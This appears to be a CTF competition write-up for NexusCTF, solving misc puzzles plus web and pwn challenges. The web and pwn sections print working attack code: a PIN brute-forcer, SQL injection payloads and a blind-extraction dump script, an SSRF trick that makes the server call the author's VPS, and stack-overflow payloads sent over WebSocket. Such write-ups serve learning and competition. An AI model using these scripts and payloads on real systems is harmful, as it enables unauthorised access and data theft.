NexusCTF Write-Up By YoSheep

PLACE: 5th

POINTS: 4150

SOLVES: 30

很艰难的一场,毒狼战团队赛,一年多没打手还没算很生。由于本场比赛没有要求交所有题目的Write-up,以下挑了几个题来写。Web的题目和一些我觉得有意思的我会写的尽量细一些。

image-20251002225103748

image-20251002225041688

Miscellaneous

Annoying? No.

I obtained a binary string from the file binary.txt. To recover the hidden message, convert each 8-bit chunk into its corresponding ASCII character.

1
2
bits = "01001110 01100101 01111000 01110101 01110011 01000011 01010100 01000110 01111011 01101110 00110000 01110100 01011111 01000000 01110011 01011111 01000000 01101110 01101110 01101111 01111001 01101001 01101110 01100111 01111101"
print(''.join(chr(int(b, 2)) for b in bits.split()))

Run the script, get the flag

image-20251002205110274

Flag:

1
NexusCTF{n0t_@s_@nnoying}

Static Analysis

Unzip the attachment, and I can get following files:

image-20251002205807369

Each image looks like a binary pattern, because mostly black and white, which makes me think they might represent encoded bits.

Here is an example of one of the images:

image-20251002205826913

I write a Python script to combine the five images. My idea is that XOR-ing the images can cancel out the common background and reveal hidden content.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from PIL import Image
import numpy as np

# File paths
files = [
"Never.png",
"Stands.png",
"Still.png",
"The.png",
"Truth.png",
]

# Load images and convert to numpy arrays
images = [np.array(Image.open(f).convert("L")) for f in files]

# Stack images to check if combining reveals hidden text (XOR/average)
xor_combined = images[0]
for img in images[1:]:
xor_combined = np.bitwise_xor(xor_combined, img)

# Average
avg_combined = np.mean(images, axis=0).astype(np.uint8)

# Save results
xor_image_path = "xor_combined.png"
Image.fromarray(xor_combined).save(xor_image_path)

Run the script and get the result reveals the hidden message:

image-20251002210703721

You can vaguely see the ON-THE-MOVE

Flag:

1
NexusCTF{ON_THE_MOVE}

The Tower of Babel

I open the challenge link and switch between subtitle tracks. Each track contains a group of Morse code, giving me four groups in total.

image-20251002211021098

image-20251002211036090

image-20251002211050470

image-20251002211103715

Decode each group and obtain the words REPRESENTATION MANY LANGUAGES ONE, arrange them into a sentence to form the flag

Flag:

1
NexusCTF{MANY LANGUAGES ONE REPRESENTATION}

Space and Time

After getting the attachment, open it with 010editor, and nothing meaningful appeared in plain ASCII.

image-20251002211825604

See the hint:

There are many displays between the 7-segment and the 21st centyury’s dot matrix. The old archive once known as Wikipedia may provide the right hardware used to encode this intermediate step.

so I suspected the data was not stored as text but rather as segment encodings.

Step 1 – Recognizing 7-Segment Codes

Each byte in the binary corresponds to a common 7-segment display bitmask. Wikipedia

and I ask Chatgpt to map each byte using the standard 7-segment lookup table, the binary file decodes into a long hex sting:

1
E6EDEDFDE6F1E639EDEDEDE6E6E7E6F1E6F9

At this point, I try to decode this as hex → ASCII. But when I do that directly, only get garbage characters.

Step 2 – The Intermediate Technology

The hint mentioned “displays between 7-segment and dot matrix.” Checking Wikipedia’s article on 14-segment displays, I realized that this was the missing link.

Unlike simple 7-segment displays that only show numbers, a 14-segment alphanumeric display can represent both digits and letters. Its encoding tables are expressed in hexadecimal values like 0xE6, 0xED, etc. – exactly the kind of values we see in the string above.

Step 3 – Grouping the Data

If I treat the hex string as raw ASCII, it fails. But when I group every two bytes together, something interesting happens:

1
E6ED  EDFD  E6F1  E639  EDED  EDE6  E6E7  E6F1  E6F9

Each pair can now be interpreted as two 14-segment codes, each corresponding to a single hex digit. Together, they form an ASCII code.

For example:

  • E6ED → digits 4 and 5 → hex 0x45 → ‘E’
  • EDFD → digits 5 and 6 → hex 0x56 → ‘V’
  • E6F1 → digits 4 and F → hex 0x4F → ‘O’
  • E639 → digits 4 and C → hex 0x4C → ‘L’

Finally, decoding all groups get:

1
EVOLUTION

Flag:

1
NexusCTF{EVOLUTION}

A Star Trail

The challenge asks me to submit the flag by taking the first character of each planet/asteroid in my chosen path and then appending the number of days the path takes (with one decimal place).

Download the attachment, and I get the image:

image-20251002214737126

Honestly, I skip scripting and manually calculate the shortest route to extract the code, a bit silly, but it works fast for this size.🤣

The shortest path is:

1
EARTH ---> PALLUS-XA ---> 12-PUCK-8 ---> JIP-REIA ---> TAYLOR-3489 ---> LANCER-PXKRD

The total distance is 21, so we can get the flag

Flag:

1
NexusCTF{P1JT-21.0}

Web Exploitation

Conditional Constellation

I visit the challenge link and see a 90-second timer that forces me to crack a 4-digit PIN within the time window.

image-20251003021226413

I capture the traffic with Burp while trying a PIN. The request looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/v1/pin/attempt HTTP/1.1
Host: 34.129.100.231:5058
Content-Length: 4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Type: text/plain
Authorization: CCSessionToken U2FsdGVkX19+RBTErIvcpk1QCIPQXkDtZMYEdAaxTWfVwMbsjodX5ilVorYZ2Cy67MvAJv4J54HqQthu6yYSgg==
Accept: */*
Origin: http://34.129.100.231:5058
Referer: http://34.129.100.231:5058/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

1234

We can see, the post body is the pin that I entered. And there is a CCSessionToken, I think it represnets a session, which I start a new star. What’s more, I get the traffic, which using to genrate session:

image-20251003021607582

write a python script to brute force the pin, and manual generate a new sessiion to give me enough time(actually, if add the progress of genertate new session into the script would be better):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
import time

URL = "http://34.129.100.231:5058/api/v1/pin/attempt"
HEADERS = {
"User-Agent": "TestClient/1.0",
"Content-Type": "text/plain",
"Authorization": "CCSessionToken U2FsdGVkX1+GJSEf9r0NrHCHN8Kyyq+6Fw/X6TkHIxvV0FMEDTx+QTUK99Cx4UZaOCfRyoK24W+yUMTlkLYjZg=="
}

START = 1000
END = 9999
WORKERS = 50
REQ_TIMEOUT = 3

found = threading.Event()
found_result = {"pin": None, "resp": None}
tried = 0
tried_lock = threading.Lock()

def try_one(pin):
global tried
if found.is_set():
return None
sess = requests.Session()
sess.headers.update(HEADERS)
try:
r = sess.post(URL, data=str(pin), timeout=REQ_TIMEOUT)
text = r.text or ""
with tried_lock:
tried += 1
if "NexusCTF{" in text or r.status_code == 200:
if not found.is_set():
found_result["pin"] = pin
found_result["resp"] = text
found.set()
return (pin, text, r.status_code)
except Exception:
return None
finally:
sess.close()
return None

def main():
pins = range(START + 1, END + 1)
start_ts = time.time()
print(f"[i] Trying pins {START+1}..{END} with {WORKERS} workers")
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
futures = {ex.submit(try_one, p): p for p in pins}
try:
for fut in as_completed(futures):
if found.is_set():
break
res = fut.result()
if tried % 100 == 0:
elapsed = time.time() - start_ts
print(f"[i] Tried ~{tried} so far, elapsed {elapsed:.1f}s")
if res:
pin, txt, status = res
print(f"[+] Found PIN {pin} (status={status})")
print(txt)
break
except KeyboardInterrupt:
print("[!] Interrupted by user")
total_time = time.time() - start_ts
if found.is_set():
print(f"[SUCCESS] PIN={found_result['pin']} (elapsed {total_time:.2f}s)")
print(found_result["resp"])
else:
print(f"[DONE] Not found in range. Tried ~{tried} attempts in {total_time:.2f}s")

if __name__ == "__main__":
main()

image-20251003023406298

Flag:

1
NexusCTF{Swipe2unl0ckPls}

UDPC Intergalactic Login Portal

I open the link and land on a login page.

image-20251003024721868

I first try common weak passwords and successfully log in with admin:admin123. However, the admin interface itself does not reveal anything useful.

image-20251003024753439

I then test for SQL injection by using the payload admin’+or+1=1–+, which authenticates me — proving the login is vulnerable to SQL injection. What’s more, when I try the payload, I can get a series error like no such function: sleep ornear "'1'": syntax error, those errors indicate the backend is using SQLite.

image-20251003025117374

I verify this further with boolean-based checks (for example, testing length(sqlite_version())>1 returns true), confirming the presence of a blind SQL injection vector.

To extract data, I perform boolean blind extraction. For example, to test whether the first character of the admin password is a, I send:

1
username=admin&password=admin'+or+substr((select+password+from+users+where+username='admin'),1,1)='a'--+--+

image-20251003030230618

1
username=admin&password=admin'+or+substr((select+password+from+users+where+username='admin'),1,1)='c'--+--+

image-20251003030255501

I observe the response difference and iterate characters one-by-one. I automate this process with a Python script that uses binary search over printable ASCII to speed up extraction. The script enumerates rows in a target table and extracts each column value using SUBSTR(…) queries.

get two table user sensitive_data

and kown there are 4 column in sensitive_data table, and dump the flag from sensitive_data’s column secret_notes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import requests
import time
import sys

TARGET_URL = "http://34.129.100.231:5050/login"
USERNAME = "admin"
PARAM_NAME = "password"
SUCCESS_INDICATOR = "granted"
HEADERS = {"Content-Type": "application/x-www-form-urlencoded"}
TIMEOUT = 12
DELAY = 0.12
MAX_CELL_LEN = 120
ASCII_MIN = 32
ASCII_MAX = 126
COLUMNS = ["id", "secret_notes"]

sess = requests.Session()

def is_true(payload):
data = {"username": USERNAME, PARAM_NAME: payload}
try:
r = sess.post(TARGET_URL, data=data, headers=HEADERS, timeout=TIMEOUT)
except Exception as e:
print("[!] request error:", e)
return False
return SUCCESS_INDICATOR in (r.text or "")

def exists_at_pos(sql_expr, pos):
payload = "1' OR SUBSTR(({sql}),{pos},1)!=''--+".format(sql=sql_expr, pos=pos)
return is_true(payload)

def char_ge(sql_expr, pos, code):
ch = chr(code)
payload = "1' OR SUBSTR(({sql}),{pos},1)>='{ch}'--+".format(sql=sql_expr, pos=pos, ch=ch.replace("'", "''"))
return is_true(payload)

def char_eq(sql_expr, pos, ch):
payload = "1' OR SUBSTR(({sql}),{pos},1)='{ch}'--+".format(sql=sql_expr, pos=pos, ch=ch.replace("'", "''"))
return is_true(payload)

def extract_cell(sql_expr, max_len=MAX_CELL_LEN):
s = ""
for pos in range(1, max_len+1):
if not exists_at_pos(sql_expr, pos):
break
low, high = ASCII_MIN, ASCII_MAX
while low <= high:
mid = (low + high) // 2
if char_ge(sql_expr, pos, mid):
low = mid + 1
else:
high = mid - 1
ord_cand = low - 1
ch = chr(ord_cand)
if char_eq(sql_expr, pos, ch):
s += ch
print(f" [+] pos {pos} -> '{ch}' (so far: {s})")
else:
found = False
for d in range(-3, 4):
code = ord_cand + d
if code < ASCII_MIN or code > ASCII_MAX:
continue
if char_eq(sql_expr, pos, chr(code)):
s += chr(code)
print(f" [+] pos {pos} -> '{chr(code)}' (so far: {s})")
found = True
break
if not found:
print(f" [-] can't determine char at pos {pos}; stopping cell.")
break
time.sleep(DELAY)
return s

def cell_sql_for(table, column, row_offset):
return "(SELECT CAST({col} AS TEXT) FROM {tbl} LIMIT 1 OFFSET {off})".format(
col=column.replace("'", "''"),
tbl=table.replace("'", "''"),
off=row_offset
)

def dump_table(table, columns):
rows = []
row = 0
print("[*] Start dumping table:", table)
while True:
print(f"[*] Processing row offset {row} ...")
first_sql = cell_sql_for(table, columns[0], row)
first_val = extract_cell(first_sql)
if not first_val:
print("[*] no value found for first column at this offset -> assuming end of rows.")
break
row_data = [first_val]
print(f"[+] row {row} col {columns[0]} = {first_val}")
for col in columns[1:]:
sql = cell_sql_for(table, col, row)
print(f" [*] extracting column '{col}' ...")
v = extract_cell(sql)
print(f" [+] row {row} col {col} = {v}")
row_data.append(v)
rows.append(row_data)
row += 1
return rows

if __name__ == "__main__":
table = "sensitive_data"
result = dump_table(table, COLUMNS)
print("\n=== DUMP COMPLETE ===")
for i, r in enumerate(result):
print(f"Row {i}:")
for colname, val in zip(COLUMNS, r):
print(f" {colname}: {val}")

I run the script to enumerate rows in the sensitive_data table and extract the listed columns. The dump reveals the flag stored in that table.

image-20251003032145952

Flag:

1
NexusCTF{interstellar_Heist}

It’s All Coming Together…

I open the challenge link and see a page asking me to enter a password:

image-20251003070042115

At first I think a dictionary brute-force will work, but when I capture the traffic with Burp I notice the requests do not contain the plaintext password I enter:

image-20251003070438372

That makes me suspect this is a frontend challenge — the password handling/verification happens in the JavaScript. I search the bundled JS for keywords like flag, and I quickly find a relevant section where the result is rendered:

image-20251003071019219

Tracing this code I notice a few useful identifiers. In particular, H(o) looks like it holds the user-supplied password, and the final flag is constructed as:

image-20251003071153286

In other words, the user input is the flag, if I can make the client-side check accept it, the site will reveal the flag. The function Ya appears to be responsible for displaying the flag, so I locate Ya and then trace back to find the password validation logic in Ua().

A critical click handler looks like this:

1
2
3
4
5
6
7
8
9
10
11
x.__click = async () => {
$(a, !0),
$(r, !1),
clearTimeout(s),
await Ua(H(o)) ? $(t, !0) : ($(r, !0),
s = setTimeout( () => {
$(r, !1)
}
, 2e3)),
$(a, !1)
}

I search for references to Ua( and locate the function. The code is deliberately obfuscated and contains many helper wrappers, which makes static reading confusing, so I switch to dynamic debugging in the browser devtools.

image-20251003071815595

I scroll down to the main loop in Ua() and set a breakpoint at the start of the function:

image-20251003072126600

I submit a test password, “123”, and step through the function line by line. The function quickly returns !1 at a specific check:

image-20251003072359320

This is still fairly obfuscated, so I use console to print intermediate values while debugging. That helps me understand the logic better:

image-20251003072550130

From the debug output I discover the first requirement: the password must start with the prefix St@rsh1p.

I enter St@rsh1p and try again; the function still returns !1

image-20251003072726957

Stepping further, I find a comparison that fails here:

1
if (R !== N.nd)

N.nd is a constant defined elsewhere in the script; R is a value computed during validation. Right now R is 1, so the comparison fails. To understand why, I set a breakpoint at the top of Ua() and step through the code to see how R is computed and what parts of the input affect it.

After debugging, I find how R is derived. The relevant snippet looks like this:

1
2
3
4
const R = d[p(-370, -355)];
function k(N, y) {
return w(N - -998, y)
}

image-20251003074327305

To be honest, at first this is confusing, but by entering many different passwords to try and watching variables I discover the meaning: the array d contains the digits found in the password, and R is effectively the count of numeric characters in the input. For example, after I enter St@rsh1p1 the runtime shows:

1
2
d = [1, 1]
R = 2

So the condition if (R !== N.nd) is checking that the password contains exactly N.nd digits — in this case N.nd equals 2. In other words, the password must contain two numeric characters.

image-20251003074844422

Continuing the trace, the code updates another value N[mew] from ‘St@rsh1p’ to ‘@R’ as the function iterates. I guess the validation also requires the password to contain the substring @R somewhere. I do not immediately return out of the loop at that point, so @R looks like a required substring rather than the final check.

Stepping further, I see N[mew] becomes the character ! and the code then checks whether the password ends with !. That means the next requirement is that the password must terminate with an exclamation mark.

image-20251003075532702

image-20251003075615527

I enter ‘St@rsh1p1!’ and continue stepping through the code.

The next checkpoint suggests the password must contain the substring ‘h1pst@r’:

image-20251003080424946

image-20251003080549343

update the password to ‘St@rsh1pst@r1!’ and try again. Execution stops at the following condition:

The execution then stops at this check:

1
2
if (a[h(1429, n.laBoratory)](l, N.sm))
return !1

Calling a[h(1429, n.laBoratory)] by itself does not immediately give a useful result

image-20251003081004650

but I notice the call’s arguments are (l, N.sm). From prior inspection N.sm is the character ‘6’, and at this moment l is ‘2’. I trace back to see how l is computed.

image-20251003081140218

image-20251003081206423

l is produced by a function reduce over the array d (the digit array we observed earlier) — in other words, l is the sum of the numeric characters in the password. Therefore this condition is checking whether the sum of the digits equals N.sm (which is 6).

To satisfy this requirement I change the password so the digits sum to 6. For example, replacing the second 1 with 5 yields:

1
St@rsh1pst@r5!

Get it!

image-20251003081406414

I summarise the full set of client-side checks the password must satisfy:

  1. Prefix — it starts with ‘St@rsh1p’.
  2. Digits count — it contains exactly ‘2’ numeric characters.
  3. Digits sum — the sum of all digits in the password equals ‘6’.
  4. Substring — it contains the substring ‘h1pst@r’ (appears after the prefix in the validation flow).
  5. Contains — it contains the substring ‘@R’ somewhere (observed during iteration).
  6. Suffix — it ends with ‘!’.

Flag:

1
NexusCTF{St@rsh1pst@r5!}

I really enjoy this challenge — kudos to the author for designing such a cleverly obfuscated frontend puzzle. The layered checks hidden inside Ua() are both frustrating and satisfying to unravel.

Honestly, the obfuscation makes my head spin at times 😵‍💫, but in the end that’s exactly what makes the challenge memorable and fun. Big respect to the creativity here!

Some Stars Read Fast

Short summary
The frontend constructs a token by triple-base64-encoding a Wikipedia URL (stripping = at each step) and prefixing it with "eyJ". The app then calls GET /api/v1/star/<token>/distance. By replacing the embedded URL with one on my VPS and listening on the VPS network interface, I observed the server perform an outbound request and found the flag in the request headers.

Key client JS

These are the critical lines from the client that explain the token format and the fetch:

1
2
3
4
5
6
// inside click handler k(...)
const url = "https://en.wikipedia.org/wiki/" + a.currentTarget.textContent.replaceAll(" ", "_");
// triple-base64, remove padding each step, then prefix "eyJ"
const r = "eyJ" + btoa(btoa(btoa(url)).replaceAll("=", "")).replaceAll("=", "")).replaceAll("=", "");
// call the API
x(t).time = await (await fetch(`/api/v1/star/${r}/distance`)).text();

(So token = "eyJ" + strip_eq(b64(strip_eq(b64(strip_eq(b64(url)))))).)

Reproduction steps

  1. On my public VPS I ran a simple listener to catch callbacks (optional; I used tcpdump ultimately):
    python3 -m http.server 80 or a small HTTP handler.

  2. I built a token that encodes my VPS URL exactly like the client does (triple base64, strip = each layer, prefix eyJ). Example (Python pseudo-step):

    1
    2
    3
    4
    5
    6
    # pseudo
    url = "http://<vps_ip>/"
    step1 = base64.b64encode(url).decode().replace("=", "")
    step2 = base64.b64encode(step1.encode()).decode().replace("=", "")
    step3 = base64.b64encode(step2.encode()).decode().replace("=", "")
    token = "eyJ" + step3
  3. I requested the target endpoint with that token:

    1
    GET /api/v1/star/<token>/distance

    I can get the http request:

    image-20251010002752603

  4. On the VPS I tried nc -l 80 first to catch incoming HTTP requests, but it showed nothing. I suspected nc was not receiving the request the way I expected (some servers open connections differently). nc can work for simple tests but can miss traffic or be closed early; it’s also easy to mis-use for HTTP with missing CRLFs.

  5. I then used tcpdump to capture and print HTTP payloads on port 80 in real time:

1
sudo tcpdump -i any -s 0 -A -nn 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2) - ((tcp[12]&0xf0)>>2)) > 0))'
  • -A: print payload as ASCII
  • BPF expression selects TCP packets on port 80 that contain application payload (so you see the request lines and headers, not just ACKs)
  1. With tcpdump running, the target server issued an outbound request to my VPS URL; I saw the full raw HTTP request including headers printed to the terminal.

image-20251010002914187

Flag:

1
NexusCTF{soM3ST@RS_are_blu_n_red}

Pwn

Pwn has two Stack Overflow challenges

Authentication Override: Easy

image-20251010003315371

This is a stack buffer overflow: scanf(“%s”, password) can overwrite the next stack variable admin so you can make admin == 0x41424344 and trigger displayFlag().

So, payload:

1
"A*10" + "DCBA"

image-20250930144916392

Flag:

1
NexusCTF{b@ffer_0verfl0w_m4st3r}

Authentication Override: Intermediate

image-20251010004209592

I inspected the program and saw it reads scanf(“%s”, password) into char password[10] and then checks if (admin == 0x11223344) displayFlag();. Because scanf doesn’t limit input length, I can overflow password and overwrite the adjacent int admin to make the check succeed.

The service communicates over WebSocket. From captures I observed the real client behavior:

  • The client prefixes sent frames with the ASCII ‘0’ (0x30).
  • Input is echoed per character; the final carriage return CR (0x0d) signals end of user input.
  • The target runs on little-endian x86/Ubuntu, so 0x11223344 is laid out in memory as bytes 44 33 22 11 (low→high).

image-20251010004521692

I discovered 0x11 (DC1) is treated as a control byte by some layer and is not preserved if I send it directly. To avoid that, I inserted 0x16 (SYN) immediately before 0x11; empirically 0x16 prevents 0x11 from being interpreted and allows it to arrive as data.

Including the client prefix ‘0’, the raw bytes I send are:

1
30 61 61 61 61 61 61 61 61 61 61 44 33 22 16 11 0d

This small Python script connects to the challenge WebSocket (ws://34.129.100.231:5057/ws) using the observed tty subprotocol, sends the same initial JSON the real client sends to start the terminal session, waits for the “Enter password” prompt, then sends the crafted binary payload (hex 3066…1110d) as a binary WebSocket frame. It then prints any server replies (hex and decoded text). In short: mimic the client handshake → wait for prompt → send raw binary exploit bytes → read the response for the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import websocket
import json

password_hex = "306666666666666666666644332216110d"
ws_url = "ws://34.129.100.231:5057/ws"

ws = websocket.create_connection(ws_url, subprotocols=["tty"])
ws.send(json.dumps({"type":"start","cols":80,"rows":24}))
while True:
msg = ws.recv()
if "Enter" in str(msg):
break
ws.send(bytes.fromhex(password_hex), opcode=websocket.ABNF.OPCODE_BINARY)
response = ws.recv()
print(response)
ws.close()